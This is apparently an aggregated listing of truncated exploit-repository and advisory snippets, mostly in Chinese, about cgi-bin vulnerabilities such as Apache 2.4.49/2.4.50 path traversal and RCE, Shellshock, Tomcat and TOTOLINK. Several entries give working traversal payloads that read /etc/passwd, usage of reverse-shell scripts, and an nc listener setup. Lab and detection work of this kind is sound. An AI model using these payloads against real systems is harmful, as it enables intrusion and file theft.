CVE-2021-41773

CVE-2021-41773 我开发了 CVE-2021-41773 的 POC，包含 RCE + cgi-bin 路径遍历 注意： 已在 APACHE2 2.4.49 上测试 您可以直接从 Docker 拉取存在漏洞的 Apache2 2.4.49 $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 路径遍历 RCE 要求 gnome-terminal...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上的Apache Tomcat远程执行代码 cgi-bin 使用： Usage: python CVE-2019-0232.py url cmd 测试环境： jdk8 apache-tomcat-8.5.39 https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip 漏洞搭建：修改conf目录配置文件...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

cve-2021-42013.get

Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，用于帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，以便您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，那么我们可以执行远程代码执行，但不能执行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的漏洞配置 1. Enable CGI-BIN 2. Add "icons" directory i...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。文中提供了易受攻击的 Docker 实例，供您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历；因此，在 httpd.conf 的 Alias 部分中添加了“icons”目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. Enable CGI-BIN 2. Add "icons" directory in Alia...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...

CVE-2026-105484

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

EUVD-2026-92908

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 cve-2021-41773 和 cve-2021-42013 批量验证python脚本 运行环境：python3 用法：python3 poc.py url.txt url.txt放待检测的url，存在漏洞的url会被写入success.txt 验证内容很简单，get请求发送cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd就行，但是我用requests发包发现不行，抓包发现%2e会被自动解码成.，于是采用urllib发包，发现没问题，本地测试...

CVE-2014-6271

CVE-2014-6271 python2.7 在你的机器上开始监听。 nc -l -p 4444 按照以下规则运行python脚本： python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 尽情享用...

exploitApache

exploitApache 用于 CVE-2021-41773:路径遍历 cgi-bin...

cgi-bin-shellshock

使用方法 克隆仓库（或直接复制粘贴你偏好的脚本） sudo git clone https://github.com/Gurguii/shellshock.sh 运行脚本 Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 的 PoC 来源:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 的 PoC 和实验环境 安装实验环境 $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC RCE curl...

apache_2.4.50

Apache HTTP Server 2.4.50 本地文件包含与远程代码执行 一个针对 CVE-2021-42013 - Apache HTTP Server 2.4.50 本地文件包含与远程代码执行的 python3 脚本。远程代码执行需要启用 cgi-bin 快速开始 运行程序 本地文件包含（LFI） python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd 远程代码执行（RCE） python3 apache2.4.50.py -t http://apache.hack/ -rce whoami...

cve-2021-41773

Apache 2.4.49 - 路径遍历或远程代码执行 cve-2021-41773.py 是一个 Python 脚本，用于检测 Apache 2.4.49 中的路径遍历或远程代码执行漏洞。提供了易受攻击的 Docker 实例，让您亲身体验 CVE-2021-41773 如果 CGI-BIN 已启用，则可以执行远程代码执行（而非路径遍历），因此 在 httpd.conf 的 Alias 部分中添加了 "icons" 目录，用于检测路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...

CVE-2021-41773

CVE-2021-41773 易受攻击的服务 安装 几种方式： 1. Docker 容器 docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t apache2449cve-2021-41773 . docker run -d -p...

apache-cve-2021-41773-lab

Apache 2.4.49 路径遍历实验室 — CVE-2021-41773 克隆 git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh 用法 启动存在漏洞的服务器： ./apachelab.sh choose option 1 手动利用： curl --path-as-is http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 1. Enable CGI-BIN 2. Add "icons" directory in...